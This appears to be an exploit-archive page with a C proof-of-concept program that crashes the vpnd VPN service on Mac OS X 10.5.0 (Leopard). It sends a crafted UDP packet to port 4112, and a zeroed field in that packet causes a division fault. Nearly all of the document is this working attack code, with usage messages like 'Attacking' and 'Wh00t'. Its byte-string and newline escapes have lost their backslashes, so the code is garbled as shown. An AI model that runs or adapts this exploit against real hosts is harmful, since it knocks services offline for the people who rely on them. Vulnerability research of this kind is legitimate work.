[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Apple Mac OS X 10.5.0 (leopard) vpnd Remote Denial of Service PoC
# Published : 2007-12-04
# Author : mu-b
# Previous Title : Apple Mac OS X xnu <= 1228.0 mach-o Local Kernel Denial of Service PoC
# Next Title : RealPlayer 11 Malformed AU File Denial of Service Exploit


/* vpnd-leopard-lb-dos.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X 10.5.0 (leopard) vpnd remote DoS POC
 * by mu-b - Fri 9 Nov 2007
 *
 * - Tested on: Apple MACOS X 10.5.0 (leopard) vpnd
 *
 * Program received signal EXC_ARITHMETIC, Arithmetic exception.
 * 0x00004828 in accept_connections ()
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define DEF_PORT      4112
#define PORT_VPND     DEF_PORT

static char abuf[] =
  "x00x01x00x18"
  "x00x00x00x00"
  "xd5xa5xf9xc3"
  "x00x00"          /* [edi+0Ch] -> ecx == 0 */
  "x00x00x00x00"
  "x00x00x00x00"
  "x00x00";

static void zattack (char *host);

static void
zattack (char *host)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd, n;

  if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
    {
      perror ("socket()");
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_port = htons (PORT_VPND);

  printf ("+Attacking %s:%dn", host, PORT_VPND);

  n = sendto (fd, abuf, sizeof abuf - 1, 0, (struct sockaddr *) &address, sizeof address);
  if (n != sizeof abuf - 1)
    {
      fprintf (stderr, "zattack: sendto %d != %dn", n, sizeof abuf - 1);
      exit (EXIT_FAILURE);
    }

  close (fd);
}

int
main (int argc, char **argv)
{
  printf ("Apple MACOS X 10.5.0 (leopard) vpnd remote DoS PoCn"
          "by: <mu-b@digit-labs.org>n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!nn");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  zattack (argv[1]);

  printf ("+Wh00t!n");

  return (EXIT_SUCCESS);
}

// www.Syue.com [2007-12-04]